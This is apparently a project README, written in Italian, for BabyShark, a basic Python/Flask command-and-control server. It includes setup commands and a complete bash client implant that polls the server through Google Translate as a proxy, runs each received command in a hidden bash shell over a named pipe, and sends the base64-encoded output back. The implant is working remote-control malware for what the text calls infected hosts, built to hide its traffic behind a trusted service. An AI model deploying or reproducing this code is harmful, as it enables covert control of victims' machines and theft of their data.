
Server C2 Base

Questo è un server C2 generico di base scritto in Python e Flask.
Questo codice si basa sull'idea di GTRS, che utilizza Google Traduttore come proxy per inviare comandi all'host infetto. Il progetto BabyShark mira a centralizzare le connessioni inverse con gli agenti, creando un modo per centralizzare diversi tipi di connessioni in un unico posto.
BabyShark non genera agenti di infezione, ma offre un template per connettersi ad esso.
git clone https://github.com/danilovazb/BabyShark/
cd BabyShark
mkdir database
sqlite3 database/c2.db < schema.sql
Questo esempio di client da GTRS per connettersi a BabyShark:
#!/bin/bash
if [[ $# < 2 ]];then
echo -e "Error\nExecute: $0 www.c2server.com secretkey-provided-by-the-server\n"
exit
fi
running=true
secretkey="b4bysh4rk"
user_agent="User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
data="Content-Hype: "
c2server="http://babyshark/momyshark?key=$secretkey"
result=""
input="/tmp/input"
output="/tmp/output"
function namedpipe(){
rm "$input" "$output"
mkfifo "$input"
tail -f "$input" | /bin/bash 2>&1 > $output &
}
function getfirsturl(){
url="https://translate.google.com/translate?&anno=2&u=$c2server"
first=$(curl --silent "$url" -H "$user_agent" | xmllint --html --xpath '//iframe/@src' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g' )
}
function getsecondurl(){
second=$(curl --silent -L "$first" -H "$user_agent" | xmllint --html --xpath '//a/@href' - 2>/dev/null | cut -d "=" -f2- | tr -d '"' | sed 's/amp;//g')
}
function getcommand(){
if [[ "$result" ]];then
command=$(curl -L --silent $second -H "$result" )
else
command=$(curl -L --silent $second -H "$user_agent" )
command1=$(echo "$command" | xmllint --html --xpath '//span[@class="google-src-text"]/text()' - 2>/dev/null)
command2=$(echo "$command" | xmllint --html --xpath '/html/body/main/div/div/div/div/ul/li/span/text()' - 2>/dev/null )
if [[ "$command1" ]];then
command="$command1"
else
command="$command2"
fi
fi
}
function talktotranslate(){
getfirsturl
getsecondurl
getcommand
}
function main(){
result=""
sleep 10
talktotranslate
if [[ "$command" ]];then
if [[ "$command" == "exit" ]];then
running=false
fi
echo $command
echo -n > $output
idcommand=$(echo $command | cut -d '#' -f2)
echo "$command" > "$input"
sleep 2
outputb64=$(cat $output | tr -d '\000' | base64 | tr -d '\n' 2>/dev/null)
if [[ "$outputb64" ]];then
result="$user_agent | $outputb64 | $idcommand "
talktotranslate
fi
fi
}
namedpipe
while "$running";do
main
done